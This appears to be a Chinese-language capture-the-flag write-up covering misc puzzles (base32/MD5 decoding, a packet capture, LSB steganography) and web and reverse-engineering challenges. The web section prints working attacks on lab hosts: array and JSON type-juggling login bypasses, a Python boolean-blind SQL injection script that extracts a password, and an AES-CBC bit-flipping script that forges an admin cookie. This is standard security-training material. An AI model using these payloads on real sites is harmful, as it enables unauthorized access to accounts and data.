4.22日小组赛WriteUp

Misc

simple~

MVWDAYLEMMZTSNBZMJQTKOLBMJRGKNJWMUYDKN3GGIYGMOBYGNSQ

因为是大写字母+数字,猜测是base32,解密得

el0adc3949ba59abbe56e057f20f883e

有32个字符,猜测是MD5,但是解不出来,题目中说仔细点就好了,突然发现字符串中有一个l

把l替换为1。
e10adc3949ba59abbe56e057f20f883e

解密得:123456

Decipher ciphertext

下载123.pcapng,用wireshark打开,找到了一个可以的http头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /index.php HTTP/1.1
Host: 192.168.146.129
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: E=17;P=473398607161;Q=4511491;
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

C=914974633918197511HTTP/1.1 404 Not Found
Date: Tue, 18 Apr 2017 09:18:04 GMT
Server: Apache/2.4.10 (Win32) OpenSSL/0.9.8zb PHP/5.3.29
Content-Length: 207
Connection: close
Content-Type: text/html; charset=iso-8859-1

根据rsa的提示,用工具解密
2-1

Not only a picture

用binwalk分析没有什么东西,可能是lsb隐写。

http://www.tuicool.com/articles/qINzyum

用Stegsolve将最低位的数据提取出来。
2-1

得到一个带密码的zip,用ue打开,发现有很多空格带了一个careful。
2-2

后来发现是zip里的注释,猜测careful就是zip的密码,解码得到flag
2-3

Prime

没得说,直接脚本求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <bits\stdc++.h>
using namespace std;
bool isPrime(int n)
{
if(n<=1)
return false;
for (int i=2;i<sqrt(n)+1;i++)
if(n%i==0)
return false;
return true;
}
int main()
{
int n[1111];
int i,k=1;
for(i=123456789;i<=987654321;i++)
{
int a=i,num=0;
while(a!=0)
{
num+=a%10;
a/=10;
}
//cout<<num<<endl;
if(isPrime(i)&&isPrime(num))
{
k++;
n[k]=i;
//cout<<k<<endl<<n[k]<<endl;
}
if(k>800) break;
}
int ans=n[123]+n[456]+n[789];
cout<<ans<<endl;
}

Web

Simple

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($_GET['username']) && isset($_GET['password']))
{
$conn = mysql_connect("localhost", "?????", "??????") or die("error".mysql.error());
mysql_select_db("????", $conn) or die("access error!".mysql.error());
$username = addslashes($_GET['username']);
$sql = "SELECT `password` FROM `user` WHERE `username`='{$username}'";
$res = mysql_query($sql, $conn);
if ($res['password'] === md5($_GET['password']))
{
//...login success
}
else
{
echo "login failed!";
}
}

再次证明数组是个好东西。
payload:/?username[]=admin&password[]=admin&submit=Submit
3-1
next.php

1
2
3
4
5
6
7
8
9
10
11
12
13
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}

将参数json编码,但是还是存在弱类型。
payload:post: message={"key":true}
2

Login

运用fuzz测试注入过滤:
http://www.freebuf.com/sectool/76861.html
bool型盲注:
https://zhuanlan.zhihu.com/p/24756501

bool型盲注,我理解为运用布尔型的函数和对应的显示界面,来判断自己查询的部分是否正确。

mid函数是sql中用于从文本字段中提取字符串,题目中空格可以用()来绕过。

如,查询admin的passowrd的第一位值,随便输入一个
3-2

会提示用户名不存在,这时我们知道,我们猜测的位是不对的,也就是说,l并不是password的第一位。

当输入到d时,发现返回界面变成了密码错误,这说明d这个字符是password的第一位。
3-1

所以可以用python脚本来查询整个password的每一位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests 
#url = 'http://192.168.211.148:49167/index.php'
url = 'http://192.168.139.241:10086/'
def check(payload):
postdata = {'username':payload,'password':'xx'}
r = requests.post(url, postdata).content
return 'password' in r
password = ''
s = '0123456789abcdef'
for i in range(1,33):
for c in s:
payload = "\'or(mid((select(password)from(admin)),"+str(i)+",1)=\'"+c+"\')#"
if check(payload):
password += c
break
print password

Be admin

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
define("SECRET_KEY", "???");
define("IV", "???");
define("METHOD", "aes-128-cbc");

$v = '1234567890abcdef;admin=0';
$enc = bin2hex(openssl_encrypt($v, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, IV));
setcookie('user',$enc);
$b = isset($_COOKIE['user'])?$_COOKIE['user']:$enc;
$user = openssl_decrypt(hex2bin($b), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, IV);
$admin = substr($user,-1);
if($admin == 1){
include 'flag.php';
echo $flag;
}

参考资料:http://wooyun.tangscan.cn/static/drops/tips-7828.html
提示为CBC反转攻击,我理解为,将明文按16字节分段,修改第一组对应位置的内容,让下一组的对应位置发生变化。
通过抓包发现了加密后的enc
3
脚本:

1
2
3
4
5
6
7
8
9
10
11
import requests

enc = '13d7e9de1084cba540c14b500f86d80d1d17d34544d48c46a41d2e09bb5b1bc3'.decode('hex')

enc = enc[:7]+chr(ord(enc[7]) ^ ord('0') ^ ord('1'))+enc[8:]
enc = enc.encode('hex')
print(enc)
r = requests.get('http://192.168.139.241:10087/', cookies = {'user':enc})
print(r.content)
#1234567890abcdef
#;admin=0

得到flag。

Reverse

Simple

将文件拖入ida,找到了一些关键字符串,反编译main函数,发现存在check函数。

进入check函数,分析算法。

字符串进入check函数中,先进行了字母大小写的转换,大写变小写,小写变大写。

接着进入swap函数,相当于将字符串进行了反转。

最后return中,判断出了字符串的长度,运算后的字符串。

得到flag:HAPPY2017

王者荣耀

先打开apk,文本框随便输入,点击,发现不能一起开黑啥的。

反编译apk,直接进入MainActivity。

发现点击按钮后进入了check函数,但是并没有在反编译的smail中。

找到lib中的so文件,放入ida中反编译,代码却没有看懂orz。